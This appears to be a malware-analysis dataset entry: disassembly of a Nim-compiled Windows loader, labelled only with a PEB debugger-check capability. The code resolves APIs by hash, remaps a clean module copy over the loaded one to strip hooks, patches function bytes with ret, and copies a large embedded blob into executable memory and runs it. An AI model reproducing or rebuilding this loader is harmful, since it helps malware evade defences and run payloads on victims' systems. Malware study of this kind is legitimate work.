Function at 0x40d590
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xe8
movaps xmmword [rsp + 0xd0], xmm6
lea rcx, [0x00462750]
mov edx, 0x420
call fcn.00407e10
mov edx, 0x14ba2544
lea rcx, [0x0045d740]
mov rbx, rax
lea rax, [0x00462710]
mov qword [rbx], rax
call fcn.004079b0
mov edx, 0x69d509ec
mov rcx, rax
call fcn.004081e0
xor r8d, r8d
xor edx, edx
mov ecx, 0x40000
call qword [0x00462700]
mov r8d, 0x1000
mov edx, 8
mov rcx, rax
call qword [0x004626f8]
mov edx, 0x6508aa0c
mov dword [rsp + 0x84], 0
lea rbp, [rax + 0x17]
mov rsi, rax
mov qword [0x004626f0], rax
lea rdi, [rax + 0x2e]
mov qword [0x004626e8], rbp
lea rcx, [0x0045d700]
mov qword [0x004626e0], rdi
call fcn.004079b0
mov edx, 0x65e9e84
mov rcx, rax
call fcn.004081e0
lea rcx, [section..rdata]
test rax, rax
je 0x40c76c
cmp qword [rax], 0
lea rdx, [rax + 0x10]
cmovne rcx, rdx
mov rdx, rsi
call fcn.004089a0
mov edx, 0x18a3b0e4
lea rcx, [0x0045d6c0]
call fcn.004079b0
mov edx, 0xaf389cc
mov rcx, rax
call fcn.004081e0
lea rcx, [section..rdata]
test rax, rax
je 0x40c7aa
cmp qword [rax], 0
lea rdx, [rax + 0x10]
cmovne rcx, rdx
mov rdx, rbp
call fcn.004089a0
mov edx, 0x2daf76ec
lea rcx, [0x0045d680]
call fcn.004079b0
mov edx, 0x961ec24
mov rcx, rax
call fcn.004081e0
lea rcx, [section..rdata]
test rax, rax
je 0x40c7e8
cmp qword [rax], 0
lea rdx, [rax + 0x10]
cmovne rcx, rdx
mov rdx, rdi
call fcn.004089a0
lea rdi, [rsi + 0xa1]
mov edx, 0x57383584
lea rcx, [0x0045d650]
mov qword [0x004626d8], rdi
call fcn.004079b0
mov edx, 0x6926bcac
mov rcx, rax
call fcn.004081e0
lea rcx, [section..rdata]
test rax, rax
je 0x40c834
cmp qword [rax], 0
lea rdx, [rax + 0x10]
cmovne rcx, rdx
mov rdx, rdi
call fcn.004089a0
mov edx, 0x517c3ecc
lea rcx, [0x0045d620]
call fcn.004079b0
mov edx, 0x33fb02c4
lea rdi, [rsi + 0x142]
mov rcx, rax
call fcn.004081e0
lea rdx, [rsi + 0x12b]
lea rcx, [section..rdata]
test rax, rax
je 0x40c880
cmp qword [rax], 0
lea r8, [rax + 0x10]
cmovne rcx, r8
call fcn.004089a0
mov edx, 0x18255a8c
lea rcx, [0x0045d5e0]
call fcn.004081e0
lea rcx, [section..rdata]
test rax, rax
je 0x40c8ae
cmp qword [rax], 0
lea rdx, [rax + 0x10]
cmovne rcx, rdx
mov rdx, rdi
call fcn.004089a0
lea r9, [rsp + 0x84]
mov edx, 0x17
mov rcx, rsi
mov r8d, 0x20
call qword [0x004626d0]
pxor xmm0, xmm0
mov qword [rbx + 0x30], 0
movups xmmword [rbx + 0x10], xmm0
movups xmmword [rbx + 0x20], xmm0
call fcn.00408060
mov rcx, rax
call fcn.00408710
lea rdx, str.GetModuleHandleA
mov rcx, rax
call fcn.004092c0
lea rcx, [0x0045d5d0]
mov edx, 9
mov qword [rbx + 0x10], rax
call fcn.00407f90
lea rcx, [section..rdata]
test rax, rax
je 0x40c92f
cmp qword [rax], 0
lea rdx, [rax + 0x10]
cmovne rcx, rdx
call fcn.00408710
lea rdx, str.GetModuleInformation
mov rcx, rax
call fcn.004092c0
mov qword [rbx + 0x18], rax
call fcn.00408060
mov rcx, rax
call fcn.00408710
lea rdx, str.CreateFileMappingA
mov rcx, rax
call fcn.004092c0
mov qword [rbx + 0x20], rax
call fcn.00408060
mov rcx, rax
call fcn.00408710
lea rdx, str.MapViewOfFile
mov rcx, rax
call fcn.004092c0
mov qword [rbx + 0x28], rax
call fcn.00408060
mov rcx, rax
call fcn.00408710
lea rdx, str.FreeLibrary
mov rcx, rax
call fcn.004092c0
mov edx, 0x5d68248c
lea rcx, [0x0045c8a0]
mov qword [rbx + 0x30], rax
call fcn.004079b0
mov edx, 0x19a61744
mov rcx, rax
call fcn.004081e0
lea rcx, [section..rdata]
test rax, rax
je 0x40c9dd
cmp qword [rax], 0
lea rdx, [rax + 0x10]
cmovne rcx, rdx
call qword [rbx + 0x10]
mov r9d, 0x18
mov rcx, 0xffffffffffffffff
mov qword [rsp + 0xb0], 0
lea rdi, [rsp + 0xb0]
mov rdx, rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0xb8], 0
mov r8, rdi
mov qword [rsp + 0xc0], 0
call qword [rbx + 0x18]
mov rax, qword [rsp + 0xb0]
mov edx, 0x16f18864
lea rcx, [0x0045c860]
mov qword [rsp + 0x48], rax
call fcn.004079b0
mov edx, 0x2476a00c
mov rcx, rax
call fcn.004081e0
test rax, rax
mov rsi, rax
je 0x40d440
mov rdx, qword [rax]
lea rbp, [section..rdata]
test rdx, rdx
je 0x40ca7c
lea rbp, [rax + 0x10]
mov rcx, rbp
call sub.msvcrt.dll_strlen
mov rdx, rax
mov rcx, rbp
call fcn.00409750
mov edx, 3
lea rcx, [0x0041328e]
mov rbp, rax
call fcn.00409750
mov rcx, rbp
mov rdx, rax
call qword [sym.imp.msvcrt.dll__wfopen]
test rax, rax
je 0x40d2a0
mov rcx, rax
call qword [sym.imp.msvcrt.dll__fileno]
mov ecx, eax
call qword [sym.imp.msvcrt.dll__get_osfhandle]
xor r9d, r9d
xor edx, edx
mov r8d, 0x1000002
cdqe
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x68], rax
mov rcx, rax
mov qword [rsp + 0x28], 0
call qword [rbx + 0x20]
test rax, rax
mov qword [rsp + 0x58], rax
jne 0x40d060
lea rax, [rsp + 0x8c]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x98]
lea rbp, [rsp + 0xa8]
mov qword [rsp + 0x38], rax
lea rsi, [rsp + 0xa0]
lea r12, [rsp + 0x90]
lea rcx, [0x0045d3e0]
mov edx, 0x72bdf2e4
call fcn.004081e0
mov edx, 0x5055cec
lea rcx, [0x0045d380]
call fcn.004081e0
mov r8d, 0x3c8
xor edx, edx
lea rcx, [rbx + 0x58]
call sub.msvcrt.dll_memset
mov edx, 0x53714784
mov qword [rbx + 0x38], 0
lea rcx, [0x0045d180]
mov qword [rbx + 0x40], 0
mov qword [rbx + 0x48], 0
mov qword [rbx + 0x50], 0
call fcn.004081e0
mov edx, 0x5f5394cc
lea rcx, [0x0045cfe0]
call fcn.004081e0
mov edx, 0x5c933d24
lea rcx, [0x0045cec0]
call fcn.004081e0
mov edx, 0x5fc93fac
lea rcx, [0x0045cd20]
call fcn.004081e0
mov edx, 0x75cf3bc4
lea rcx, [0x0045cca0]
call fcn.004081e0
mov edx, 0x6cd89904
mov qword [rsp + 0x90], 0
lea rcx, [0x0045c800]
mov byte [rsp + 0x83], 0x75
mov dword [rsp + 0x88], 0
mov dword [rsp + 0x8c], 0
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xb8], 0
call fcn.004079b0
mov edx, 0x393b158c
mov rcx, rax
call fcn.004081e0
test rax, rax
je 0x40d510
mov rdx, qword [rax]
lea rcx, [section..rdata]
add rax, 0x10
test rdx, rdx
cmovne rcx, rax
call fcn.00407f90
lea rdx, [section..rdata]
test rax, rax
je 0x40cc6a
cmp qword [rax], 0
lea rcx, [rax + 0x10]
cmovne rdx, rcx
mov rcx, rdi
call qword [0x00462798]
mov r9, r12
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [0x00462790]
mov edx, 0x5cf8e14c
lea rcx, [0x0045c7e0]
call fcn.004079b0
mov edx, 0x2402eb64
mov rcx, rax
call fcn.004081e0
lea rdx, [section..rdata]
test rax, rax
je 0x40ccb9
cmp qword [rax], 0
lea rcx, [rax + 0x10]
cmovne rdx, rcx
mov rcx, qword [rsp + 0x90]
call qword [0x004626c0]
test rax, rax
je 0x40cd14
lea r13, [rax + 0x6d]
mov r15, qword [rsp + 0x38]
mov r9d, 4
mov qword [rsp + 0xa0], 1
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x98], r13
mov r8, rsi
mov rcx, 0xffffffffffffffff
mov rdx, r15
mov qword [rsp + 0x20], rax
call qword [0x004626f0]
test eax, eax
je 0x40d3a0
lea rcx, [0x00462680]
mov edx, 1
mov qword [rsp + 0x90], 0
mov dword [rsp + 0x88], 0
mov dword [rsp + 0x8c], 0
call fcn.0040aa60
mov edx, 0x27caaaa4
lea rcx, [0x0045c7c0]
mov r13, rax
call fcn.004079b0
mov edx, 0x14988e6c
mov rcx, rax
call fcn.004081e0
test rax, rax
mov r14, rax
je 0x40cd75
add qword [rax - 0x10], 8
mov rax, qword [r13 + 0x10]
test rax, rax
je 0x40cda0
mov rcx, qword [rax - 0x10]
lea rdx, [rax - 0x10]
sub rcx, 8
cmp rcx, 7
mov qword [rax - 0x10], rcx
ja 0x40cda0
lea rcx, [0x004703e8]
call fcn.00406290
mov qword [r13 + 0x10], r14
lea rcx, [0x0045c7a0]
mov edx, 0x480aa02c
mov byte [rsp + 0x83], 0xc3
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xb8], 0
call fcn.004079b0
mov edx, 0x58283404
mov rcx, rax
call fcn.004081e0
test rax, rax
je 0x40d520
mov rdx, qword [rax]
lea rcx, [section..rdata]
add rax, 0x10
test rdx, rdx
cmovne rcx, rax
call fcn.00407f90
lea rdx, [section..rdata]
test rax, rax
je 0x40ce1d
cmp qword [rax], 0
lea rcx, [rax + 0x10]
cmovne rdx, rcx
mov rcx, rdi
call qword [0x00462798]
xor edx, edx
xor ecx, ecx
mov r9, r12
mov r8, rdi
call qword [0x00462790]
mov rax, qword [r13]
test rax, rax
mov qword [rsp + 0x48], rax
jle 0x40ce8b
lea r14, [section..rdata]
xor r15d, r15d
jmp 0x40ce5f
add r15, 1
cmp qword [rsp + 0x48], r15
je 0x40d500
mov rax, qword [r13 + r15*8 + 0x10]
mov rdx, r14
test rax, rax
je 0x40ce78
cmp qword [rax], 0
lea rdx, [rax + 0x10]
cmove rdx, r14
mov rcx, qword [rsp + 0x90]
call qword [0x004626c0]
test rax, rax
jne 0x40ce50
xor r10d, r10d
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x98], r10
mov r9d, 0x40
mov r8, rsi
mov r15, qword [rsp + 0x38]
mov qword [rsp + 0x48], r10
mov rcx, 0xffffffffffffffff
mov qword [rsp + 0xa0], 1
mov qword [rsp + 0x20], rax
mov rdx, r15
call qword [0x004626f0]
test eax, eax
jne 0x40cf0f
mov r10, qword [rsp + 0x48]
mov qword [rsp + 0x20], rbp
mov r9d, 1
mov rcx, 0xffffffffffffffff
mov qword [rsp + 0xa8], 0
lea r8, [rsp + 0x83]
mov rdx, r10
call qword [0x004626e8]
test eax, eax
je 0x40d410
lea rcx, [0x0045cb00]
mov edx, 0x4b49e24c
call fcn.004081e0
mov edx, 0x514f3da4
lea rcx, [0x0045c9c0]
call fcn.004081e0
mov edx, 0x23be092c
lea rcx, [0x0045c8c0]
call fcn.004081e0
mov r13, qword [0x004626c8]
xor eax, eax
test r13, r13
je 0x40cf54
mov rax, qword [r13]
xor r8d, r8d
mov r9, rsi
mov rdx, qword [rsp + 0x38]
mov rcx, 0xffffffffffffffff
mov qword [rsp + 0x98], 0
mov qword [rsp + 0xa0], rax
mov dword [rsp + 0x90], 4
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x1000
call qword [0x004626e0]
lea r8, [r13 + 0x10]
mov rax, qword [rsp + 0xa0]
mov rcx, 0xffffffffffffffff
mov rdx, qword [rsp + 0x98]
mov qword [rsp + 0x20], rbp
mov qword [rsp + 0xa8], 0
lea r9, [rax - 1]
call qword [0x004626e8]
mov rax, qword [rsp + 0x98]
mov rcx, rbx
mov qword [0x00462670], rax
mov qword [0x00462668], rax
call fcn.0040aac0
mov qword [rsp + 0x20], r12
mov r8, rsi
mov rdx, rdi
mov rax, qword [rsp + 0x98]
mov r9d, 0x20
mov rcx, 0xffffffffffffffff
mov qword [rsp + 0xb0], rax
call qword [0x004626f0]
test eax, eax
jne 0x40d583
call qword [rsp + 0x98]
mov edx, 0xffffffff
mov rcx, 0xffffffffffffffff
call qword [0x00462660]
nop
movaps xmm6, xmmword [rsp + 0xd0]
xor eax, eax
add rsp, 0xe8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], 0
mov edx, 4
call qword [rbx + 0x28]
test rax, rax
mov rcx, rax
je 0x40caf5
mov rax, qword [rsp + 0x48]
movsxd r14, dword [rax + 0x3c]
add r14, rax
cmp word [r14 + 6], 0
je 0x40d54c
lea rax, [r14 + 0x18]
xor r13d, r13d
mov qword [rsp + 0x70], rbx
mov r15, rcx
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x8c]
movdqa xmm6, xmmword [0x0045dfd0]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x98]
lea rbp, [rsp + 0xa8]
mov qword [rsp + 0x38], rax
lea rsi, [rsp + 0xa0]
mov qword [rsp + 0x78], rdi
lea r12, [rsp + 0x90]
nop dword [rax + rax]
nop word cs:[rax + rax]
movzx r10d, word [r14 + 0x14]
lea eax, [r13 + r13*4]
mov edx, 0x19
add r10, qword [rsp + 0x50]
lea rcx, [0x00412020]
shl eax, 3
movzx eax, ax
lea rbx, [r10 + rax]
call fcn.00407e10
lea rcx, [0x0045c840]
movups xmmword [rax], xmm6
movzx edx, byte [rbx]
mov rdi, rax
mov byte [rax + 0x10], dl
movzx edx, byte [rbx + 1]
mov byte [rax + 0x11], dl
movzx edx, byte [rbx + 2]
mov byte [rax + 0x12], dl
movzx edx, byte [rbx + 3]
mov byte [rax + 0x13], dl
movzx edx, byte [rbx + 4]
mov byte [rax + 0x14], dl
movzx edx, byte [rbx + 5]
mov byte [rax + 0x15], dl
movzx edx, byte [rbx + 6]
mov byte [rax + 0x16], dl
movzx edx, byte [rbx + 7]
mov byte [rax + 0x17], dl
mov edx, 0x239b56c
call fcn.004079b0
mov rcx, rdi
mov rdx, rax
call fcn.00402a30
test rax, rax
js 0x40d255
mov r9d, 4
mov r8, rbp
mov rdx, rsi
mov dword [rsp + 0x8c], 0
mov dword [rsp + 0x90], 0
mov rcx, 0xffffffffffffffff
mov qword [rsp + 0x98], 0
movsxd rax, dword [rbx + 0xc]
add rax, qword [rsp + 0x48]
mov qword [rsp + 0xa0], rax
movsxd rax, dword [rbx + 8]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
call qword [0x004626f0]
test eax, eax
jne 0x40d4f0
movsxd rax, dword [rbx + 0xc]
mov rcx, 0xffffffffffffffff
mov rdi, qword [rsp + 0x38]
mov r9, qword [rsp + 0xa8]
mov rdx, qword [rsp + 0xa0]
lea r8, [r15 + rax]
mov qword [rsp + 0x20], rdi
call qword [0x004626e8]
test eax, eax
jne 0x40d4f0
mov qword [rsp + 0x20], r12
mov r8, rbp
mov rdx, rsi
mov rcx, 0xffffffffffffffff
mov r9d, dword [rsp + 0x8c]
call qword [0x004626f0]
test eax, eax
jne 0x40d4f0
add r13d, 1
cmp word [r14 + 6], r13w
ja 0x40d100
mov rbx, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
mov rcx, 0xffffffffffffffff
call qword [0x004626d8]
mov rcx, qword [rsp + 0x68]
call qword [0x004626d8]
mov rcx, qword [rsp + 0x58]
call qword [0x004626d8]
mov rcx, qword [rsp + 0x60]
call qword [rbx + 0x30]
jmp 0x40cb27
lea rcx, [0x00462800]
call fcn.00407710
mov rdi, rax
lea rax, [0x004627c0]
mov qword [rdi], rax
lea rax, str.IOError
mov qword [rdi + 0x10], rax
mov rdx, qword [rsi]
lea rbp, [rdx + 0xd]
cmp rbp, 6
jg 0x40d530
lea rcx, [0x00412020]
mov edx, 0x18
call fcn.00407e10
mov rbx, rax
mov qword [rax + 8], 7
mov rdx, qword [0x0045c830]
mov qword [rbx], 0xd
lea rcx, [rbx + 0x1d]
mov qword [rbx + 0x10], rdx
mov edx, dword [0x0045c838]
mov dword [rbx + 0x18], edx
movzx edx, word [0x0045c83c]
mov word [rbx + 0x1c], dx
mov rax, qword [rsi]
lea rdx, [rsi + 0x10]
lea r8, [rax + 1]
call sub.msvcrt.dll_memcpy
mov rax, qword [rsi]
add rax, 0xd
mov qword [rbx], rax
lea rcx, [rdi + 0x18]
mov rdx, rbx
call fcn.00406350
mov rax, qword [rdi + 8]
test rax, rax
je 0x40d36c
mov rsi, qword [rax - 0x10]
lea rdx, [rax - 0x10]
lea rcx, [rsi - 8]
cmp rcx, 7
mov qword [rax - 0x10], rcx
ja 0x40d36c
lea rcx, [0x004703e8]
call fcn.00406290
mov qword [rdi + 8], 0
lea r9, str.io.nim
mov rcx, rdi
mov qword [rsp + 0x20], 0x2e9
lea r8, str.open
lea rdx, str.IOError
call fcn.0040a570
nop word [rax + rax]
mov qword [rsp + 0x20], rbp
mov r9d, 1
mov rdx, r13
mov rcx, 0xffffffffffffffff
mov qword [rsp + 0xa8], 0
lea r8, [rsp + 0x83]
call qword [0x004626e8]
test eax, eax
jne 0x40cd14
lea rax, [rsp + 0x88]
mov r9d, dword [rsp + 0x8c]
mov r8, rsi
mov rdx, r15
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffffffffffff
call qword [0x004626f0]
jmp 0x40cd14
lea rax, [rsp + 0x88]
mov r9d, dword [rsp + 0x8c]
mov r8, rsi
mov rdx, r15
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffffffffffff
call qword [0x004626f0]
jmp 0x40cf0f
lea rcx, [section..rdata]
xor edx, edx
call fcn.00409750
mov edx, 3
lea rcx, [0x0041328e]
mov rsi, rax
call fcn.00409750
mov rcx, rsi
mov rdx, rax
call qword [sym.imp.msvcrt.dll__wfopen]
test rax, rax
jne 0x40caad
lea rcx, [0x00462800]
call fcn.00407710
mov edx, 0x1e
lea rcx, [0x00412020]
mov rdi, rax
lea rax, [0x004627c0]
mov qword [rdi], rax
lea rax, str.IOError
mov qword [rdi + 0x10], rax
call fcn.00407e10
mov rdx, qword [0x0045c830]
mov rbx, rax
mov qword [rax + 8], 0xd
mov qword [rax], 0xd
mov qword [rax + 0x10], rdx
mov edx, dword [0x0045c838]
mov dword [rax + 0x18], edx
movzx edx, word [0x0045c83c]
mov word [rax + 0x1c], dx
jmp 0x40d335
mov rbx, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
jmp 0x40cb27
mov r10, rax
jmp 0x40ce8e
lea rcx, [section..rdata]
xor edx, edx
jmp 0x40cc4d
lea rcx, [section..rdata]
xor edx, edx
jmp 0x40ce00
lea rcx, [0x00412020]
add rdx, 0x1e
call fcn.00407e10
mov rbx, rax
mov qword [rax + 8], rbp
jmp 0x40d2f1
lea rax, [rsp + 0x8c]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x98]
lea rbp, [rsp + 0xa8]
mov qword [rsp + 0x38], rax
lea rsi, [rsp + 0xa0]
lea r12, [rsp + 0x90]
jmp 0x40d26e
mov ecx, 1
call sub.msvcrt.dll_exit
nop
nop
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
mov rax, qword [0x004703c0]
cmp rax, 0xdab
jg 0x40e51e
lea rcx, [rax + 1]
lea rdx, [0x00469660]
cmp rcx, 0xdac
mov qword [0x004703c0], rcx
lea rsi, [0x00406640]
mov qword [rdx + rax*8], rsi
je 0x40e51e
lea rsi, [0x004066f0]
mov qword [rdx + rcx*8], rsi
lea rcx, [rax + 2]
cmp rcx, 0xdac
mov qword [0x004703c0], rcx
je 0x40e51e
lea rdi, [0x004066e0]
mov qword [rdx + rcx*8], rdi
lea rcx, [rax + 3]
cmp rcx, 0xdac
mov qword [0x004703c0], rcx
je 0x40e51e
lea rsi, [0x004066d0]
mov qword [rdx + rcx*8], rsi
lea rcx, [rax + 4]
cmp rcx, 0xdac
mov qword [0x004703c0], rcx
je 0x40e51e
lea rdi, [0x004066c0]
mov qword [rdx + rcx*8], rdi
lea rcx, [rax + 5]
cmp rcx, 0xdac
mov qword [0x004703c0], rcx
je 0x40e51e
lea rsi, [0x004066b0]
mov qword [rdx + rcx*8], rsi
lea rcx, [rax + 6]
cmp rcx, 0xdac
mov qword [0x004703c0], rcx
je 0x40e51e
lea rdi, [0x004066a0]
mov qword [rdx + rcx*8], rdi
lea rcx, [rax + 7]
cmp rcx, 0xdac
mov qword [0x004703c0], rcx
je 0x40e51e
lea rsi, [0x00406690]
mov qword [rdx + rcx*8], rsi
lea rcx, [rax + 8]
cmp rcx, 0xdac
mov qword [0x004703c0], rcx
je 0x40e51e
lea rdi, [0x00406680]
mov qword [rdx + rcx*8], rdi
lea rcx, [rax + 9]
cmp rcx, 0xdac
mov qword [0x004703c0], rcx
je 0x40e51e
lea rsi, [0x00406670]
mov qword [rdx + rcx*8], rsi
lea rcx, [rax + 0xa]
cmp rcx, 0xdac
mov qword [0x004703c0], rcx
je 0x40e51e
lea rdi, [0x00406660]
mov qword [rdx + rcx*8], rdi
lea rcx, [rax + 0xb]
cmp rcx, 0xdac
mov qword [0x004703c0], rcx
je 0x40e51e
lea rsi, [0x00406650]
add rax, 0xc
mov qword [rsp + 0x20], 0
mov qword [rdx + rcx*8], rsi
lea rcx, [0x004610e0]
mov qword [0x004703c0], rax
lea rsi, [rsp + 0x28]
call qword [0x00462128]
mov rcx, rsi
mov qword [rsp + 0x28], 0
movsxd rdx, eax
call fcn.004099b0
mov rax, qword [rsp + 0x28]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], rax
call fcn.0040a870
mov eax, dword [0x004610e4]
cmp eax, 6
je 0x40df70
cmp eax, 5
jg 0x40d7ac
mov dword [0x004627a0], 1
lea rcx, [0x0045c6a0]
mov edx, 0x107bf72c
call fcn.004079b0
mov edx, 0xd8ea04c
mov rcx, rax
call fcn.004081e0
test rax, rax
mov rbx, rax
je 0x40e0e0
lea rdi, [rax - 0x10]
add qword [rdi], 8
mov rax, qword [0x004610c8]
test rax, rax
je 0x40d804
mov rcx, qword [rax - 0x10]
lea rdx, [rax - 0x10]
sub rcx, 8
cmp rcx, 7
mov qword [rax - 0x10], rcx
jbe 0x40e0b0
cmp qword [rbx + 8], 0
mov qword [0x004610c8], rbx
mov r12, qword [0x004610c0]
js 0x40e0a0
mov rbp, qword [rbx]
mov eax, 7
cmp rbp, 7
cmovl rbp, rax
lea rcx, [rbp + 0x11]
call fcn.00407890
lea rdx, [rbx + 0x10]
mov rdi, rax
mov qword [rax + 8], rbp
mov rax, qword [rbx]
lea rcx, [rdi + 0x10]
mov qword [rdi], rax
lea r8, [rax + 1]
call sub.msvcrt.dll_memcpy
test r12, r12
mov qword [0x004610c0], rdi
je 0x40d87d
mov rax, qword [r12 - 0x10]
lea rdx, [r12 - 0x10]
sub rax, 8
cmp rax, 7
mov qword [r12 - 0x10], rax
jbe 0x40e080
lea rcx, [0x00462620]
mov edx, 0x48410
call fcn.0040aa60
mov r8d, 0x48410
lea rcx, [rax + 0x10]
mov rbx, rax
lea rdx, [0x00414270]
call sub.msvcrt.dll_memcpy
add qword [rbx - 0x10], 8
mov rax, qword [0x004626c8]
test rax, rax
je 0x40d8d2
mov rdi, qword [rax - 0x10]
lea rdx, [rax - 0x10]
lea rcx, [rdi - 8]
cmp rcx, 7
mov qword [rax - 0x10], rcx
jbe 0x40e060
mov qword [0x004626c8], rbx
mov rdx, qword [rbx]
lea rcx, [0x00462620]
call fcn.0040aa60
test rax, rax
mov rbx, rax
je 0x40d8f5
add qword [rax - 0x10], 8
mov rax, qword [0x004610b8]
test rax, rax
je 0x40d91b
mov rdi, qword [rax - 0x10]
lea rdx, [rax - 0x10]
lea rcx, [rdi - 8]
cmp rcx, 7
mov qword [rax - 0x10], rcx
jbe 0x40e040
mov edx, 0x37fb2824
mov qword [0x004610b8], rbx
lea rcx, [0x004141c0]
call fcn.004079b0
mov edx, 0x559f3dec
mov rcx, rax
call fcn.004081e0
test rax, rax
mov rbx, rax
je 0x40d94d
add qword [rax - 0x10], 8
mov rax, qword [0x004610b0]
test rax, rax
je 0x40d973
mov rdi, qword [rax - 0x10]
lea rdx, [rax - 0x10]
lea rcx, [rdi - 8]
cmp rcx, 7
mov qword [rax - 0x10], rcx
jbe 0x40e020
mov edx, 0x4f6c9ec4
mov qword [0x004610b0], rbx
lea rcx, [0x00414140]
call fcn.004079b0
mov edx, 0x5aaddcc
mov rcx, rax
call fcn.004081e0
test rax, rax
mov rbx, rax
je 0x40d9a5
add qword [rax - 0x10], 8
mov rax, qword [0x004610a8]
test rax, rax
je 0x40d9cb
mov rdi, qword [rax - 0x10]
lea rdx, [rax - 0x10]
lea rcx, [rdi - 8]
cmp rcx, 7
mov qword [rax - 0x10], rcx
jbe 0x40e000
mov edx, 0x4bfdee8c
mov qword [0x004610a8], rbx
lea rcx, [0x00414040]
call fcn.004079b0
mov edx, 0x37fb2824
mov rcx, rax
call fcn.004081e0
test rax, rax
mov rbx, rax
je 0x40d9fd
add qword [rax - 0x10], 8
mov rax, qword [0x004610a0]
test rax, rax
je 0x40da23
mov rdi, qword [rax - 0x10]
lea rdx, [rax - 0x10]
lea rcx, [rdi - 8]
cmp rcx, 7
mov qword [rax - 0x10], rcx
jbe 0x40dfe0
mov edx, 0x53ed8f6c
mov qword [0x004610a0], rbx
lea rcx, [0x00413f40]
call fcn.004079b0
mov edx, 0x4f6c9ec4
mov rcx, rax
call fcn.004081e0
test rax, rax
mov rbx, rax
je 0x40da55
add qword [rax - 0x10], 8
mov rax, qword [0x00461098]
test rax, rax
je 0x40da7b
mov rdi, qword [rax - 0x10]
lea rdx, [rax - 0x10]
lea rcx, [rdi - 8]
cmp rcx, 7
mov qword [rax - 0x10], rcx
jbe 0x40dfc0
mov qword [0x00461098], rbx
call fcn.00408120
xor edx, edx
mov rcx, rax
call fcn.00408450
lea rdx, str.LdrLoadDll
mov rcx, rax
call fcn.00408f50
mov qword [0x00462790], rax
call fcn.00408120
xor edx, edx
mov rcx, rax
call fcn.00408450
lea rdx, str.RtlInitUnicodeString
mov rcx, rax
call fcn.00408f50
mov edx, 0x464db40c
lea rcx, [0x00413ee0]
mov qword [0x00462798], rax
call fcn.004079b0
mov edx, 0x34e988a4
mov rcx, rax
call fcn.004081e0
test rax, rax
mov rbx, rax
je 0x40daf7
add qword [rax - 0x10], 8
mov rax, qword [0x00461090]
test rax, rax
je 0x40db1d
mov rdi, qword [rax - 0x10]
lea rdx, [rax - 0x10]
lea rcx, [rdi - 8]
cmp rcx, 7
mov qword [rax - 0x10], rcx
jbe 0x40dfa0
mov qword [0x00461090], rbx
call fcn.00408060
mov rcx, rax
call fcn.00408710
lea rdx, str.GetCurrentProcessId
mov rcx, rax
call fcn.004092c0
call fcn.00408060
mov rcx, rax
call fcn.00408710
lea rdx, str.VirtualProtect
mov rcx, rax
call fcn.004092c0
mov qword [0x004626d0], rax
call fcn.00408060
mov rcx, rax
call fcn.00408710
lea rdx, str.OpenProcess
mov rcx, rax
call fcn.004092c0
call fcn.00408060
mov rcx, rax
call fcn.00408710
lea rdx, str.GetProcessHeap
mov rcx, rax
call fcn.004092c0
mov qword [0x00461088], rax
call fcn.00408060
mov rcx, rax
call fcn.00408710
lea rdx, str.GetProcAddress
mov rcx, rax
call fcn.004092c0
mov qword [0x004626c0], rax
call fcn.00408120
mov rcx, rax
call fcn.00408710
lea rdx, str.RtlAddVectoredExceptionHandler
mov rcx, rax
call fcn.00408f50
call fcn.00408060
mov rcx, rax
call fcn.00408710
lea rdx, str.GetModuleHandleA
mov rcx, rax
call fcn.004092c0
call fcn.00408060
mov rcx, rax
call fcn.00408710
lea rdx, str.GetThreadContext
mov rcx, rax
call fcn.004092c0
call fcn.00408060
mov rcx, rax
call fcn.00408710
lea rdx, str.SetThreadContext
mov rcx, rax
call fcn.004092c0
call fcn.00408060
mov rcx, rax
call fcn.00408710
lea rdx, str.CloseHandle
mov rcx, rax
call fcn.004092c0
call fcn.00408060
mov rcx, rax
call fcn.00408710
lea rdx, str.OpenThread
mov rcx, rax
call fcn.004092c0
call fcn.00408060
mov rcx, rax
call fcn.00408710
lea rdx, str.GetCurrentThreadId
mov rcx, rax
call fcn.004092c0
call fcn.00408060
mov rcx, rax
call fcn.00408710
lea rdx, str.WaitForSingleObject
mov rcx, rax
call fcn.004092c0
mov qword [0x00462660], rax
call fcn.00408060
mov rcx, rax
call fcn.00408710
lea rdx, str.MultiByteToWideChar
mov rcx, rax
call fcn.004092c0
call fcn.00408060
mov rcx, rax
call fcn.00408710
lea rdx, str.Sleep
mov rcx, rax
call fcn.004092c0
mov qword [0x00461080], rax
call fcn.00408060
mov rcx, rax
call fcn.00408710
lea rdx, str.GetTickCount
mov rcx, rax
call fcn.004092c0
mov qword [0x00461078], rax
call fcn.00408060
mov rcx, rax
call fcn.00408710
lea rdx, str.CreateFileA
mov rcx, rax
call fcn.004092c0
mov qword [0x00461070], rax
call fcn.00408060
mov rcx, rax
call fcn.00408710
lea rdx, str.GetFileSize
mov rcx, rax
call fcn.004092c0
mov qword [0x00461068], rax
call fcn.00408120
xor edx, edx
mov rcx, rax
call fcn.00408450
lea rdx, str.RtlAllocateHeap
mov rcx, rax
call fcn.00408f50
mov qword [0x00461060], rax
call fcn.00408060
mov rcx, rax
call fcn.00408710
lea rdx, str.ReadFile
mov rcx, rax
call fcn.004092c0
mov edx, 0x35ae7a84
lea rcx, [0x0045d880]
mov qword [0x00461058], rax
